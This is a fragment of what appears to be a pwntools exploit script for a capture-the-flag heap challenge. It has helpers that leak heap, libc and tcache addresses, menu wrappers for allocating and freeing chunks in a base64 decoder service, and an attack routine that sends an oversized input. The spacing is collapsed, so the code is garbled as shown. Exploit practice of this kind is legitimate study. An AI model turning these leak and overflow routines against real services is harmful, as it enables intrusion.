defru(string): sh.recvuntil(string) defdbg(con=''): iflen(sys.argv) > 1and sys.argv[1] == 'r': return ifisinstance(con, int): con = "b *$rebase(" + hex(con)+")" gdb.attach(sh, con) pause() defsl(content): sh.sendline(content) defitr(): sh.interactive() context.log_level = 'debug' defget_heap(): res = 0 res = u64(sh.recvuntil("\x55", timeout=0.2)[-6:].ljust(8, b'\x00')) if res == 0: res = u64(sh.recvuntil("\x56", timeout=0.2)[-6:].ljust(8, b'\x00')) return res defget_libc(): res = 0 res = u64(sh.recvuntil("\x7f", timeout=0.2)[-6:].ljust(8, b'\x00')) if res == 0: res = u64(sh.recvuntil("\x7e", timeout=0.2)[-6:].ljust(8, b'\x00')) return res defget_tcache(): res = u64(sh.recvuntil("\x05")[-5:].ljust(8, b"\x00")) return res
defchoice(num): ru("choice:") sl(str(num))
defadd1(con): choice(1) ru("Enter the text to decode:") con = base64.b64decode(con) sh.send(con)
defadd2(con): choice(2) ru("Enter the text to decode:") length = len(con) con = base64.b64encode(con) sh.send(con)
deffree2(idx): choice(4) ru("idx") sl(str(idx))
defattack(): choice(2) ru("Enter the text to decode:") con = 'b'*0x4a sh.send(con)